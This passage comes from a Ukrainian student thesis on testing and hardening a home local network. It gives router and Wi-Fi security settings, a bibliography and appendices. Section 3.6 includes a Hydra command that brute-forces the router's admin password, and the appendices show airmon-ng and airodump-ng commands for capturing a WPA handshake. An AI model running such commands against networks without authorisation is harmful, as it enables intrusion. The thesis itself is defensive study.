Для пристроїв смартфонів сканування не пройшло успішно, оскільки ми не дізналися інформацію про назву та версію ОС. Можливо це пов'язано з ввімкненим МЕ на даних пристроях.

3.6. Перевірка надійності паролю входу на маршрутизатор

Для виконання даного завдання нам знадобиться OC Kali Linux та інструмент Hydra.

«Пакет THC Hydra — це зламувач входу в систему, який перевіряє слабкі місця в протоколах систем. Основні функції: злам мережевого входу в систему, читання та друк паролів.»[11]

Використаємо таку команду:

hydra -l admin -P /home/kali/myPass.txt -s 80 -V -I -F 192.168.0.1 http-get /, де —l — логін

-Р – файл-словник

-s – порт призначення

-V – відповідність паролю логіну

-F – зупинка, після 1 знайденої відповіді

Результат виконання команди наведений в додатку Г. Було отримано пароль входу до режиму адміністратора.

Висновки до розділу 3.

Якщо використовується простий пароль, який не відповідає вимогам складності – то відгадати його за допомогою методу словника буде дуже легко, оскільки там містяться найбільш часто використовувані комбінації цифр та літер.

Якщо пароль відповідає вимогам складності: складається з більше ніж 8 значень, де поєднуються цифри, символи верхнього та нижнього регістрів, спеціальні знаки – відгадати такий пароль за допомогою словників буде значно складніше. В такому випадку може бути використаний bruteforce.

За допомогою перехоплення та сканування портів було отримано багато інформації: назви пристроїв, їх ІР-адреси, МАС-адреси, відкриті порти, версії ОС, тощо.

4. ЗАХИСТ ПЕРИМЕТРУ ДОМАШНЬОЇ ЛОКАЛЬНОЇ МЕРЕЖІ

Згідно до таблиці 1 (додаток Ґ) для керування загрозами локальної мережі, варто дотримуватись таких правил:

- Застосовувати парольні фрази або аутентифікацію для бездротових мереж;

- Для забезпечення конфіденційності використовувати шифрування між пристроями та бездротовими мережами;

- Впровадити стандарти для конфігурації локальної мережі

- Після зміни конфігурації провести тестування на проникнення

- Вимкнути сканування портів та ping

- Визначити суворі правила контролю доступу, стандарти, процедури та рекомендації.

 Обмежити права доступу до певних папок і файлів на основі необхідності.

4.1.Захист бездровотої мережі

Бездротові мережі мають більше питань до безпеки, ніж дротові. Вони є дуже поширеними та зручними в користуванні, а отже вони є ласим шматком для зловмисника. За допомогою бездротової мережі зловмиснику не потрібно проникати в приміщення, де містяться необхідні матеріали. Він може скористатися можливостями проникнення в бездротову локальну мережу. Якщо цей процес пройде вдало – то зловмисник отримує всі ті самі дані й привілеї, що й учасники цієї бездротової локальної мережі.

Отримати пароль від Wi-Fi зловмисник може, нажаль, практично завжди. Для цього використовуються різні програмні засоби, які дозволяють перебирати паролі методом словника чи bruteforce. Ефективність перебору паролів 100%, питання лише в часі, який потрібно затратити для такого перебору. € декілька стандартних правил, які допоможуть захистити маршрутизатор з точкою доступу, а отже – вхід в бездротову локальну мережу. До них належать:

- 1) Захистити доступ до роутера;
- 2) Придумати надійний пароль для входу Wi-Fi;
- 3) Вибрати правильне шифрування;
- 4) Вимкнути можливість входу без пароля;
- 5) Регулярно оновлювати прошивку;
- 6) Вимкнути віддалений доступ (див. рис. 4.1);
- 7) Створити гостьову підмережу;
- 8) Приховати SSID;
- 9) Налаштувати фільтрацію за МАС-адресами;
- 10) Звузити покриття;

11) Використовувати маршрутизатор з додатковими методами захисту (firewall, VPN);

12) Вести журнал аудиту та регулярно його переглядати (див. рис.4.2).

аток	Статус	Мережа	Wi-Fi	Додатково	Міжмережевий екран	Контроль	систе				
VLAN	UPnP	DDNS C	ервери імен	Маршрутизація	віддалений дост	IGMP					
	Конфігурацію пристрою було змінено Зберетти										
Кон	фігурація	а віддалено	го доступу	до веб-інтерфей	сy						
		ІР-ад	beca		Маск	а фетр					

Рисунок 4.1. Налаштування віддаленого доступу до маршрутизатора

D-Link DIR-JODNRU rev. 80		система и Мова и
початок Статус Мережа Wi-Fi	Дидатава Иканерскивна веран Котроль СИСТЕНС	
Пароль адміністратора Конфігурація	Журныл подій Онолгения ПЗ кологі ИГР Телек Д. Конфігурацію пристрено було знімено [Збератти]	
Kowdirypaula Wyphan		
Журалуданы Тап ууралуданы Ралю ууралуданы	Krashmod v Kephynadian nasgaanteese Apaghina nasgaanteese v Aagainho nasgaanteese Apaghina nasgaanteese Apaghina nasgaanteese Konvert nasgaanteesee Konvert nasgaanteeseeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee	lamara
		Активация Windows Чтобы активировать Windows, перейдите в ра "Параметры".
р ні 🌔 🚍 🛷 🗳	81 🗞 😘 🖬 📆	1 איז איז 🖏 🖧 🚱 🖞 🖉 איז

Рисунок 4.2. Журнал подій маршрутизатора

Дотримання не одного, а більшості наведених правил дасть змогу добре захистити бездротову мережу від проникнення.

4.1.1. Базові налаштування безпеки

До базових правил налаштувань безпеки маршрутизатора належать:

- 1) Змінити ім'я користувача та пароль входу на роутер;
- 2) Змінити стандартне ім'я для домашньої мережі Wi-Fi;
- 3) Вимкнути широкомовне сповіщення SSID;
- 4) Використовувати алгоритми шифрування бездротового зв'язку;
- 5) Використовувати надійні паролі для Wi-Fi та входу на роутер;
- 6) Підтримувати прошивку у актуальному стані;

7) Вимкнути віддалений доступ, універсальне налаштування мережевих пристроїв (Universal Plug and Play) та налаштування захищеного Wi-Fi;

8) Якщо роутер має таку можливість, використовувати гостьову мережу.

Після виконаних тестів на проникнення була проведена зміна паролю входу на маршрутизатор, а також змінені базові налаштування бездротової мережі (рис. 4.3):



початок	Статус	Мережа	Wi-Fi	Додатков	во Бра	андмауер	кон	троль	систен	1a
Загальні	налаштуван	ня Осно	вні налац	ітування	Налаш	гування бе:	зпеки	МАС ф	рільтр	Список стан
r ipi		ку доступу:		×						
				Interne	t-2100					
кра	аїна:			YKPAÏ ł	HA					~
кан	нал:			7 💊	•					
Без	здротовий р	ежим:		802.11	B/G/N змі	шаний 🗸				
Π	ои зміні реж	иму «B»/«G»	на будь-як	кий з режим	ів «N» рек	омендуєть	ся скину	ути налац	итування	безпеки!
Ma	ксимальна к	кількість кліє	нтів:	20						

Рисунок 4.3. Базові налаштування Wi-Fi

початок	Статус	Мережа	Wi-Fi	Додат	ково	Брандмауер	контрол
Загальні	налаштуванн	ня Основ	зні налашту	/вання	Нала	аштування безі	леки МА
Ay	гентифікація	мережі:		WPA	A2-PSK		-
За	шифрований	ключ PSK:					
По	передня авте	ентифікація	WPA2:	~			
Нал	аштування	шифруван	іня WPA				
WF	А-шифруван	HR:		AES	~		

Рисунок 4.4. Налаштування безпеки Wi-Fi

В налаштуваннях безпеки (див. рис. 4.4) обрано найбільш кращий для даної моделі роутера алгоритм безпеки та змінено пароль на більш надійний. Задано AES-шифрування трафіку бездротового зв'язку.

4.1.2. Фільтрація за МАС-адресами

Для фільтрування за МАС-адресами можна використовувати «білий» та «чорний» список фільтрації.

Білий список дає змогу вказати МАС-адреси тих пристроїв, кому дозволено входити в мережу. Пристрої, яких немає в цьому списку не зможуть під'єднатися до точки бездротового доступу. Для його налаштування потрібно обрати «Дозволити» (рис. 4.5).

Чорний список дає змогу налаштувати список тих МАС-адрес, яким буде заборонено доступ до мережі. Інші ж пристрої, яких немає в цьому переліку, без проблем зможуть під'єднатися до мережі. Для його налаштування потрібно обрати «Заборонити» (рис. 4.5).

Виконаємо налаштування білого списку. В домашній локальній мережі є 6 постійних пристроїв (див. рис. 4.6). Для інших пристроїв, які час від часу будуть під'єднуватися до бездротової мережі варто налаштувати гостьову мережу.



Рисунок 4.5. Початок налаштування фільтрації за МАС-адресами

Додавання МАС-адреси		
МАС-адреса:		Виберіть адресу>
Список МАС-адрес		
Список МАС-адрес	MAC	адреса
Список МАС-адрес	MAC 3	-адреса } ^{р:}
Список МАС-адрес	MAC 3 3	-адреса JF 20
Список МАС-адрес	MAC 3 3 3	-адреса }F 20 32
Список МАС-адрес	MAC 3 3 3 0	адреса 3F 20 32 33
Список МАС-адрес	MAC 3 3 3 0	-адреса 3F 20 12 13 22 22

Рисунок 4.6. Список пристроїв, яким дозволено під'єднуватись до мережі.

4.1.3. Налаштування брандмауера

Брандмауер (firewall) – міжмережевий екран. Основне його призначення – контролювати вхідний та вихідний трафік на основі певних правил. Річ у тому, що вони створені спеціально для запобігання атак. Брандмауери можуть бути як апаратними, так і програмними.

По замовчуванню, на маршрутизаторах немає жодних встановлених правил. Встановлення правил може відбуватися за протоколом TCP або UDP (див. рис. 4.7).

почтак Статук Перека	ні Пратинно Мінноренский серан Контрол. система	
ІР-фільтри Вртуальні саракр	n DM2 Wilchings	
	🛕 Κακφάγχασμίο προκτροσο έγισα ανάστασο 🛛 Μερατικ	
Редатуванна правила 19-ф	inspa	
Habbat		
Протанала	10/00P w	
Ax.	пявінти 🕶	
19 адреса		
Для вназівня (Р-адреся внязу	ovcznajskie wacej cigowypewi 32 (y coni nicze 1/1)	
	0	
denostir-spec		
(https://www.	(sidepts aper)* V (bidepts aper)*	
	190.127.65	
nayr	192.186.0/2 192.186.04	
Ви ножете вказувати як одни	nger ado garazon copita, rac i schesz 132.166.0.29	
Джрени:		
Проначения		
		Deixens
		Autor and Mindour

Рисунок 4.7. Налаштування мережевого брандмауера

Висновки з розділу 4.

Дотримання основних принципів та правил налаштування маршрутизатора з точкою бездротового доступу дасть можливість захистити локальну мережу від можливого проникнення та легкого сканування мережі.

Налаштування безпеки домашньої мережі – завдання її власника, адже по замовчуванню, на жодному пристрої не встановлені правила безпеки.

ВИСНОВКИ

Дана кваліфікаційна робота присвячена дослідженню актуальної теми «Дослідження вразливостей та налаштування безпеки домашньої локальної мережі».

В ході початку роботи було досліджено теоретичні аспекти методологій оцінки захищеності комп'ютерних систем, поняття домашньої локальної мережі, протоколу бездротової передачі даних та їх особливості.

В роботі описані сучасні ПЗ для оцінки захищеності комп'ютерних систем. А також, описано окремі утиліти та подано приклади використання програм в кваліфікаційній роботі. Цими програмами є Wireshark, Nmap, Hydra.

В ході роботи було проаналізовано домашню локальну мережу. За допомогою перехоплення та сканування портів було отримано багато інформації: назви пристроїв, їх ІР-адреси, МАС-адреси, відкриті порти, версії ОС, тощо. Наприкінці виконання були проаналізовані отримані дані та налаштований захист маршрутизатора локальної мережі.

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ

 Про захист інформації в інформаційно-комунікаційних системах. Закон України від 16.12.2020 р. № 1089-IX. URL: <u>https://zakon.rada.gov.ua/laws/show/80/94-%D0%B2%D1%80#Text</u> (дата звернення: 10.02.2024 р.)

Інформаційна та кібербезпека: соціотехнічний аспект: підручник / [В. Л. Бурячок, В. Б. Толубко, В. О. Хорошко, С. В. Толюпа]; за заг. ред. д-ра техн. наук, професора В. Б. Толубка.— К.: ДУТ, 2015.— 288 с.

3. Комп'ютерні мережі: навчальний посібник / А.Г. Микитишин, М.М. Митник, П.Д. Стухляк, В.В. Пасічник – Львів, «Магнолія 2006», 2013. – 256 с. 4. Kalchenko V.V. Огляд методів проведення тестування на проникнення для оцінки захищеності комп'ютерних систем [Електронний ресурс] / V.V. Kalchenko // Системи управління, навігації та зв'язку. Збірник наукових праць. Τ. 4. No 50. – C. 109. – 2018. _ Режим 66 доступу: http://journals.nupp.edu.ua/sunz/article/view/1209

5. Офіційний сайт Wireshark URL: <u>http://www.wireshark.com</u> (дата звернення: 02.03.2024 р.)

6. Офіційний сайт Мережевої академії Cisco. URL:https://skillsforall.com/course/network-defense?courseLang=uk-UA (датазвернення: 13.02.2024 р.)

7. Офіційний сайт Мережевої академії Cisco. URL:https://lms.netacad.com/course/view.php?id=2174309 (дата звернення:15.02.2024 р.)

8. Офіційний сайт фірми Kali Linux. URL: <u>https://www.kali.org</u> (дата звернення: 20.03.2024 р.)

9. Technical guide to information security testing and assessment: recommendations of the national institute of standards and technology / U.S. Department of Commerce National Institute of Standards and Technology [et al.]. – Gaithersburg : CreateSpace Independent Publishing Platform, 2008. – 86 p.

10. Herzog P. Open-Source Security Testing Methodology Manual / Peter

Herzog. – [S. l.] : Institute for Security and Open Methodologies, 2010. – 213 p.

Інформаційна безпека: навч. посібник / Ю.Я. Бобало, І.В. Горбатий, М.Д.
 Кіселичник, А.П. Бондарєв, С.С. Войтусік, А.Я. Горпенюк, О.А. Нємкова, І.М.
 Журавель, Б.М. Березюк, Є.І. Яковенко, В.І. Отенко, І.Я.Тишик; за ред. Д-ра
 техн. Наук, проф. Ю.Я. Бобала та д-ра техн. Наук, доц. І.В, Горбатого. – Львів:
 Видавництво Львівської політехніки, 2019. – 580 с.

О. І. Алєнін, А. В. Габінет, О. П. Роковий, С. Г. Стіренко, О. О. Ілляшенко, А. А. Стрєлкіна Методи та засоби технічного аудиту інформаційної безпеки комп'ютерних систем та мереж. Практикум / під ред.
 В.С. Харченко – Міністерство освіти та науки України, Національний аерокосмічний університет ім. М.Є. Жуковського «ХАІ». 2017. – 136 с.

Комп'ютерні мережі : навчальний посібник / О. С. Городецька, В. А. Гикавий, О. В. Онищук. – Вінниця : ВНТУ, 2017. – 129 с.

14. Комп'ютерні мережі [навчальний посібник] / А.І.Блозва, Ю.В.Матус, В.В.Смолій, Б.С.Гусєв, Д.Ю.Касаткін, Т.Ю.Осипова, Я.А.Савицька // - К.: Компрінт, 2017.- 821с.

15. Комп'ютерні мережі : підручник / [Азаров О. Д., Захарченко С. М., Кадук О. В. та ін.]. – Вінниця : ВНТУ, 2020. – 378 с.

16. Офіційний сайт Hack Your Mom. URL: <u>https://hackyourmom.com/osvita</u> (дата звернення: 03.04.2024 р.)

 Опорний конспект лекцій з курсу «Тестування комп'ютерних систем на проникнення» для студентів спеціальності 125 «Кібербезпека» – Тернопіль: ТНЕУ, 2019. – 119 с.

ДОДАТКИ

Додаток А. Перехоплення даних

А1. Режим монітору

//запускаємо режим монітору sudo airmon-ng start wlan0mon [sudo] пароль до kalli:

Found 2 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode

PID Name 614 NetworkManager 743 wpa_supplicant

PHY Interface Driver Chipset

phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 35)

//запуск інструменту Wireshark sudo wireshark QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'

					Дослідження вразливостей та		Лim		Maca	Масштаб
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування безпеки домашньої					
Розро	об.	Кормиш А.С.			локальної мережі					
Пере	вір.	Мельничук А.Ю.								
Т. Ко	нтр.					A	<i></i> σк.	1	Арку	шів 1
Реце	НЗ.							Ц	іклова к	омісія
Н. Ко	нтр.						ŀ	(омп'н	отерної	інженерії
Затв	ерд.	Тащук О.Ю.							-	55

			A2.	Пере	хоплені дані програмою W	iresharl	K	
		оайл Правка Вигляд Перехід Захоллен <u> </u> <u> </u> <u> </u> <u> </u> <u> </u> <u> </u> <u> </u> <u> </u> 	ня дналіз <u>С</u> татистика Тел , 🔃 🐳 警 👔 🛓	ефонія <u>Wireless</u> • • • • •	*wlantimon ools geelges I			_ u x
		Image: Second	Image: state in the s	Collempt Info Collempt Info Collempt Info Second Second Fill Second Second Fill Second Second Fill Second Second Fill Second Second Second Second Second Second Second Se	Image Image Channel Spiral Strangte Channel Spiral Strangte 0 <td< th=""><th>ts: 106 - Displayed: 106 (100.09</th><th>(a) - Dropped: 0 (0.0%)</th><th>Profile: Default</th></td<>	ts: 106 - Displayed: 106 (100.09	(a) - Dropped: 0 (0.0%)	Profile: Default
Змн.	Арк.	№ докум.	Підпис	Дата	Дослідження вразливостей п налаштування безпеки домашнь	na Лim. oï	Maca	Масштаб
Розро	, об.	Кормиш А.С.			локальної мережі			
Пере	вір.	Мельничук А.Ю.						
Т. Кон	нтр.					Арк. 1	Арку	шів 1
Рецен	43.						Циклова к	омісія
Н. Ко	нтр.					К	омп'ютерної	інженерії
Затв	ерд.	Тащук О.Ю.						56

I

												_		*,	wla	n0m	ion													F	ı x	D
	Файл	п П	равк	а	Виг	ляд	ļ	lepe	ехід		3ax0	опл	тен	ня	ļ	∖нал	піз	Ста	атис	стик	а	Теле	ефон	нія	Wire	eless	٦	rools	Дов	зідка		1
			a	6	6			-	S	h	6		Q				-	Ď	7	2	J.		Ì	Ē	Œ		-	▣	T			
				G	9			0333	13	2	**			•	~				1	, T	<u> </u>			_				~				
		oply a	disp	olay	filte	er	. <0	Ctrl-,	/>																			•	Вира	3	+	l
	No.	27 28 29 30	Time 0.54 0.62 0.64 0.73	526 804 165 019	888 937 927 469	7 2 6 7	So 52 Tp Tp Tp	urce :6e -Li -Li -Li	e :fa nkT nkT nkT	:f9 _40 _f6 40):86 :ad :ee :ad	:c :0 :e	5 (6 2 (6	[] [De: Tp Bro Hua Bro	stina -Lir Dado awei Dado	ation hkT_ cast LTe_ cast	1 4c: 5d:	ad: bb:	06 (89 ((Proto 802 .: 802 .: 802 .: 802 .:	col 11 11 11	Len 2 2	gth Ir 50 8 83 8 42 8 83 8	nfo 02.1 eacc 02.1 eacc	1 E 0 1 1 E 0 1	Block frame Block frame	Ack e, SN Ack e, SN	,	-	
	4	31	0.82	142	983	7	D-	lin	kTn	fe	:04	:1	8		Bro	bado	ast					802.1	11	2	40 B	eaco	n 1	frame	. SN	=2 •	-	
	 Fr Ra 80 IE I 	ame diot 2.11 EE 8 Type Fran .000 Rece	31: ap H rad 02.1 e/Sul ne C 0 00 eive	240 ead 1 B btyp ontr 00 (r ac	by er inf eac be: rol 000 ddr	tes v0, orm Bea Fic 0 00 ess	on Le ati fra acor eld 000 : Br	wingth on me, n fr : 0> = [roac	Fla Fla (800 Jura Jura	(19 ags e ()0 ati	20 : . 0x0 on: (ff	008 008 011	ts) 3) f:f	(240 C) by con ff:	ds ff)	Ca	ptu	red	(19	920 t	oits) 01	n in	terf	ace	9 0				
		Tra	ismi	tter	1 a	ddro	ess	: D-	Lir	ica ikI	sc n_f	(11 e:0	94:	18	(0	c:b	2:5	5:f	e:04	1:18)											l
	→ IE	BSS 100: Fran [FCS EE 8	Id: Id: 010 010 02.1	D-l 01 (heck atus 1 w)11 (s (s (ire	kIn . 00 0 . eque Unve les	_fe: 000 ence erif s L	:04: = F = S e: 0 fieo	:18 Frag Sequ 9x23	(c gme len 33d	c:b nt ce 8dc	2:5 nun nun f [55: nbe nbe [un	fe: r: r: vei	:04 0 23 rif	:18 90]	94	10)													
	0000 0010 0020	00 04 00	00 1 00 8 18 0	L2 0 30 0 50 b	02002	2e 4 00 0 55 f	80 0f e0	0 0 f f 4 1	0 : f 1 B (10 Ff 50	02 ff 95	99 ff 0c 74	09 ff f1	a@ cc 97 72	0 0 c b 7 c	0 a 2 5 6 0	8 07 5 fe 6 00	; ; ;	••••	•.H• •U•		Inter	·U·									
	0040 0050 0060 0070 0080 0090 0080 0090 0020 0000 0000	2d 6c 0e 01 cc 00 01 00 27	32 3 03 0 14 0 02 1 b2 5 2a 0 00 0 0f a 00 0 a4 0	31 3 31 0 31 0 31 0 20 2 55 f 30 5 30 5 30 5 30 0 30 0	0 3 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0	30 5 32 0 30 5 30 1 30 1 30 1 10 1 52 0 31 0 512 4	4 0 4 0 0 2 8 0 6 0 6 0 0 f 3 5	1 0: 2 0 2 0 8 8 0 3 0 5 1 0 0 5 1 0 0 5 1 0 0 5 1 0 0 5 1 0 0 5 1 0 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0	1 (B 3 4 3 0 2 0 1 0 (0 1 0 (0 1 0 (0 (0 (0 (0 (0 (0 (0 (+9 98 30 10 28 90 f2 90 f2 90 f2 90 f2 90 f2 90 f2 90 f2 90 f2 90 f2	82 60 4a 80 01 50 01 50 01 32	74 84 07 00 28 01 52 01 62 2f	8b 06 01 80 05 00 02 00 40 00	96 55 16 04 06 36 05	5 1 5 4 9 1 8 8 9 5 9 1 9 0 8 0 9 0 8 0 9 0 8 0	2 2 1 2 0 4 0 0 0 f 4 0 f a 4 0 5 0	4 48 0 01 4 00 8 80 1 00 2 04 1 00 1 00 5 00	+ }))))))	-21(1	00_1 2 G (P BC	(((9` l J (((P @ b2/	• \$H IA • D• • • • •									
	0	Т	rans	mitt	ing	S	n.ta	a), 6	byt	e	Pa	cke	ets:	10)6 ·	Dis	play	ed:	106	5 (10	0.0	%)·	Drop	opeo	i: 0 (0.0%)	Prof	ile: D	efaul	t	
								Γ		Ţ																						
+				-				╀																								
+				-				╀		╇														-			г	N 4 -		A .	10	-
	Νο	<i>J</i> OK	/M	┥	Г	٦iðr			am		До нал	слі 1аі	дж ит	ен іув	ня ан	ня	в <u>ј</u> 6	разл Гезп	пиво 1еки	ocm	ей до	маш	та ньої	\mathbf{F}	Jiin	<i>ч.</i>	┢	iviad	;a	IV	iacu	11
·	Корми	iw A	с.	┥	1		40		ann	4	лон	ал	ЪН	011	ме	реж	ci 🔾	2011			201											
ť	Мельн	шчүн	(A.H	0.				+		┨																						
╡		, ,						\dagger		┨														Þ	Арк.	1			Аркуі	иів	1	-
1				╡				\uparrow		╋														T			11		. , , , , , , , , , , , , , , , , , , ,	owici	ig.	_
T								Ī																		Ком	<u></u> п'н	ome	рної	інже	енер	Di
					_			_		_																						

					*wlan0mon				_
		<u>Ф</u> айл <u>П</u> равка	<u>В</u> игляд <u>П</u> е	ерехід	<u>З</u> ахоплення <u>А</u> наліз <u>С</u> татистика Телефон <u>і</u>	я <u>V</u>	<u>V</u> ireless	<u>T</u> ools <u>Д</u>	овідка
			a) 💼 🕻		🚳 9 🦛 🔿 🐖 👅 📕 🗐		e e		E
				iii fiit			-		<u> </u>
		Apply a display	filter <ct< td=""><td>trl-/></td><td></td><td></td><td></td><td>🔁 📩 Ви</td><td>раз +</td></ct<>	trl-/>				🔁 📩 Ви	раз +
		No. Time 27 0.54526 28 0.62804 29 0.64165 30 0.73019 31 0.82142	Sou 58887 52: 19372 Tp- 59276 Tp- 04697 Tp- 19837 D-1	rce 6e:fa:f LinkT_4 LinkT_f LinkT_4 inkTn f	Destination Protocol Li 9:86:c5 (Tp-LinkT_4c:ad:06 (802.11 c:ad:06 Broadcast 802.11 6:ee:e2 (HuaweiTe_5d:bb:89 (802.11 c:ad:06 Broadcast 802.11 e:04:18 Broadcast 802.11	engt 50 283 42 283 283	h Info 0 802.1 3 Beaco 2 802.1 3 Beaco 0 Beaco	1 Block Ad n frame, S 1 Block Ad n frame, S n frame, S	k, SN=1 ck R SN=1 SN=1
		 Frame 31: 240 Radiotap Head 802.11 radio IEEE 802.11 B IEEE 802.11 w Fixed para Tagged par) bytes on ler v0, Len informatio Beacon fram rireless LA meters (12 ameters (12	wire (1 gth 18 n e, Flag N bytes) 82 byte	920 bits), 240 bytes captured (1920 bits) s:C	on	interfa	ace 0	
		 Tag: SS. Tag: SU. Tag: SU. Tag: Ex: Tag: Coi Tag: Coi Tag: Vei Tag: Cag: Cag: Tag: Cag: Cag: Tag: Cag: Cag: Tag: Cag: Cag: Tag: Vei 	ID paramete pported Rat Parameter tended Supp untry Infor ndor Specif affic Indic P Informati ndor Specif N Informati ndor Specif SS Load Ele ndor Specif	er set: tes 1(B set: Ci ported F rmation fic: Mic cation f fic: Mic ton fic: Mic ement 80 fic: Rai	Internet-2100_1), 2(B), 5.5(B), 11(B), 9, 18, 36, 54, [Mb Irrent Channel: 7 Rates 6, 12, 24, 48, [Mbit/sec] : Country Code UA, Environment Any crosoft Corp.: WPS Map (TIM): DTIM 0 of 0 bitmap crosoft Corp.: WPA Information Element crosoft Corp.: WMM/WME: Parameter Element 02.11e CCA Version Link Technology, Corp.	oit/s	sec]		
		0010 00 00 80 0020 04 18 cc 0030 00 00 64 0 0040 2d 32 31 0 0050 6c 03 01 0 0060 0e 14 dd 2 0060 0e 14 dd 2 0070 01 02 10 4 0080 cc b2 51 6 0080 00 04 2 6 0080 00 00 9 6 0090 00 01 00 09 0090 00 01 00 0 0040 27 a4 00 0 00ee0 4a 12 7a 0	00 00 00 ff 00 2 55 fe 04 00 11 04 00 30 30 5f 31 07 32 04 0c 27 00 50 f2 47 00 10 28 6e 04 18 10 04 01 00 04 05 f2 04 01 04 01 00 00 18 00 50 f2 04 01 00 00 18 00 50 f2 04 01 00 00 18 00 50 f2 00 42 43 5e 01 07 00 0c	ff ff 18 60 0f 49 01 08 18 30 04 10 80 28 3c 00 50 f2 00 0f 00 0f 02 01 00 62 43 07	ff ff ff ff cc b2 55 fe uu 95 0c f1 97 cb 06 00 uu 6e 74 65 72 6e 65 74 uu 82 84 8b 96 12 24 48 -2100_1 60 07 06 55 41 20 01 120`.uA 4a 00 01 10 10 44 00 80 28 80 18 80 a8 80 G(
		U 🗹 Tag (wlat	n.tag), 17 by	rtes	Packets: 106 · Displayed: 106 (100.0%) · Dropp	bed:	0 (0.0%) Profile:	Default
					Дослідження вразливостей та	J	Пim.	Maca	Масштаб
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування безпеки домашньої				
Розра	б.	Кормиш А.С.			локальної мережі				
Терее	ip.	Мельничук А.Ю.							
Г. Кон	mp.					Аp	ж. 1	Арк	ушів 1
Рецен	3.							Циклова	комісія
Н. Ко	mp.					Í	Ком	п'ютерн	ої інженерії
Затв	рд.	Тащук О.Ю.							58
							_		

A3. WPA handshake

//запис у файл «123» отриманого за 7 каналом WPA handshake sudo airodump-ng wlan0mon --channel 7 --write 123 CH 7 |[Elapsed: 3 mins][2024-06-02 15:21][WPA handshake: CC:B2:55:FE:04:18

BSSID #Data, #/s CH MB ENC CIPHER AUTH ESSID PWR RXQ Beacons 0 7C:8B:CA:B2:95:5E -1 0 0 0 7 -1 <length: 0>CC:B2:55:FE:04:18 -47 0 2197 81604 24 7 54e WPA2 CCMP PSK Internet-2100_1 1354 0 0 8 360 WPA2 CCMP PSK <length: 0> 5E:E9:31:26:84:DA -58 11 5C:E9:31:76:84:DA -58 15 1402 0 0 8 360 WPA2 CCMP PSK Skipor 9C:A2:F4:97:26:95 -67 37 591 0 0 6 270 WPA2 CCMP PSK atlantida EXT 0 0 6 270 WPA2 CCMP PSK netis_2.4G BC:E0:01:29:40:4A -79 0 45 3C:CD:57:94:48:A3 -80 34 10 0 8 130 WPA2 CCMP PSK sweet glow 505 BC:E0:01:3D:BC:12 -79 6 148 0 0 6 270 WPA2 CCMP PSK Artist 04:95:E6:9C:C5:A8 -83 0 12 0 0 6 270 WPA2 CCMP PSK Repkaa11 E8:65:D4:DF:72:C1 -83 0 0 7 130 WPA2 CCMP PSK Tenda DF72C0 153 0 B0:4E:26:3C:21:E2 -83 5 178 0 6 405 WPA2 CCMP PSK atlantida 29 8C:DE:F9:A2:BF:E5 -85 0 5 0 0 7 130 WPA2 CCMP PSK Bandera **BSSID STATION** PWR Rate Lost Frames Probe (not associated) BA:1C:85:73:BD:BF -47 0 - 1 0 3 (not associated) 38:2D:E8:90:40:EE -81 0 2 0 - 1 (not associated) 74:F0:4C:B4:A1:DC -79 0 12 0 - 1 (not associated) FE:20:B9:82:ED:A3 -48 0 - 1 0 3 Літ. Maca Масштаб Дослідження вразливостей ma налаштування безпеки Підпис домашньої Арк. № докум. Дата локальної мережі Розроб. Кормиш А.С. Мельничук А.Ю. Перевір. Т. Контр. Арк. Аркушів 1 1 Реценз. Циклова комісія Н. Контр. Комп'ютерної інженерії Затверд. Тащук О.Ю. 59

А4. Знайдені пристрої в мережі

				3w.pcapng						_ 0 X
	<u>Файл Правка Вигляд Перехід Закоплен</u>	ня <u>А</u> наліз <u>С</u> татистика Т	елефонія <u>W</u> ireless <u>T</u> oo	ls Довідка						
		♥♥ ≝ ♦ ⊻	.	1						
	📕 arp									Вираз +
	No. Time Source	Destination Pr	otocol Lengthinfo P 100 Who has 19	12 168 A 12 Tell 192 168 A 59	Channel Signal Strang	pht				
	1431. 241.781645916 D-LinkIn_fe:04:18 1431. 241.78299826 D-LinkIn_fe:04:18	3a:65:89:74:fb:40 AF	P 100 192.168.0.	1 is at cc:b2:55:fe:04:18 1 is at cc:b2:55:fe:04:18	7 -84dBn 7 -48dBn					
	1431. 241.783360761 3a:65:89:74:fb:40	Broadcast AF	P 100 Gratuitous	ARP for 192.168.0.59 (Request)	7 -40dBn 7 -40dBn 7 -40dBn					
	1431. 241.810303664 38.00.85.14.10.46 1431. 241.816870736 D-LinkIn_fe:04:18	3a:65:89:74:fb:40 AF	P 100 102.168.0.	1 is at cc:b2:55:fe:04:18	7 -400m 7 -47dBn 7 50dBn					
	1433. 242.09300000 inad.local 1433. 242.091671517 D-LinkIn_fe:04:18	iPad.local AF	P 100 102.168.0.	1 is at cc:b2:55:fe:04:18	7 -3200m 7 -48dBn 7 -52dBn					
	1435242.093201004 1Fau.10041 1434242.757693706 1Pad.local	Broadcast AF	P 98 Gratuitous P 98 Gratuitous P 100 Wee here 10	ARP for 192.168.0.32 (Request)	7 -33080 7 -4608n 7 -4048n					
	1435. 242.924517614 D-LinkIn_fe:04:18 1435. 242.924517614 D-LinkIn_fe:04:18	3a:65:89:74:fb:40 AF	P 100 102.168.0. P 100 192.168.0.	1 is at cc:b2:55:fe:04:18	7 -4008m 7 -47dBn 7 -47dBn					
	1436. 242:335233311 38:05:05:14:10:40 1436. 243:107366913 iPad.local	Broadcast AF	P 100 Who has 19	2.100.0.1? Tell 192.100.0.03	7700m 7 -53dBn 7 47dBm					
	1430. 243.163601303 D-L1IKIN_10.64.10 1436. 243.118355563 3a:65:89:74:fb:40	Broadcast AF	P 100 192.100.00 P 100 Gratuitous	ARP for 192.168.0.59 (Request)	7 -408m 7 -408m 7 5048m					
	1437 243.104010035 1Fau.10041 1437 243.164854571 3a:65:89:74:fb:40	Broadcast AF	P 98 Gratuitous P 98 Gratuitous	2.100.0.17 Tell 192.100.0.52 ARP for 192.168.0.59 (Request)	7 -3008n 7 -48dBn 7 -40dBn					
